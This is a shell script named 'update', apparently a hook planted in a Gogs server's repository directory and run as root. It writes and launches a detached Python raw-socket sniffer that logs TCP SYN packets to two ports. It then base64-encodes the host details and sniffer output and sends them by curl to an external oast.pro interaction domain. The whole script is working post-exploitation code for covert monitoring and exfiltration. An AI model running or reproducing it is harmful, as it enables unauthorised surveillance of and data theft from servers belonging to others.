update 1.5 KB

123456789101112131415161718192021222324252627282930313233343536
  1. #!/bin/sh
  2. TAG="4393431"
  3. OUT="/root/gogs/data/tmp/local-repo/5878/_sniff_$TAG.txt"
  4. {
  5. echo "tag=$TAG host=$(hostname) date=$(date -u +%s.%N)"
  6. pkill -f pz_sniff.py 2>/dev/null
  7. cat > /root/pz_sniff.py <<'PYEOF'
  8. import socket, struct, time
  9. s = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.ntohs(3))
  10. f = open('/root/pz_syn.log', 'a')
  11. while True:
  12. pkt, addr = s.recvfrom(65535)
  13. try:
  14. if len(pkt) < 34: continue
  15. if struct.unpack('!H', pkt[12:14])[0] != 0x0800: continue
  16. ip = pkt[14:]
  17. ihl = (ip[0] & 0xf) * 4
  18. if ip[9] != 6: continue
  19. src = socket.inet_ntoa(ip[12:16]); dst = socket.inet_ntoa(ip[16:20])
  20. tcp = ip[ihl:]
  21. sport, dport = struct.unpack('!HH', tcp[:4])
  22. flags = tcp[13]
  23. if dport in (18082, 18084) and (flags & 0x02):
  24. f.write('%s %s %s:%d -> %s:%d SYN\n' % (time.strftime('%Y-%m-%dT%H:%M:%S', time.gmtime()), '%.3f' % time.time(), src, sport, dst, dport)); f.flush()
  25. except Exception:
  26. pass
  27. PYEOF
  28. setsid nohup /usr/bin/python3 /root/pz_sniff.py >/root/pz_sniff.out 2>&1 < /dev/null &
  29. sleep 2
  30. echo "--- ps ---"; ps aux | grep -E "pz_sniff|pz_listener" | grep -v grep
  31. echo "--- sniff out ---"; cat /root/pz_sniff.out 2>&1 | head -5
  32. echo "--- synlog ---"; tail -5 /root/pz_syn.log 2>&1
  33. } > "$OUT" 2>&1
  34. D=$( base64 -w0 < "$OUT" 2>/dev/null | tr '+/' '-_' | tr -d '=' )
  35. curl -s -m 15 -o /dev/null "http://cd4547282df75cd148ebcbfcf32c8ee45.oast.pro/sniff/$TAG/$D" || true
  36. exit 0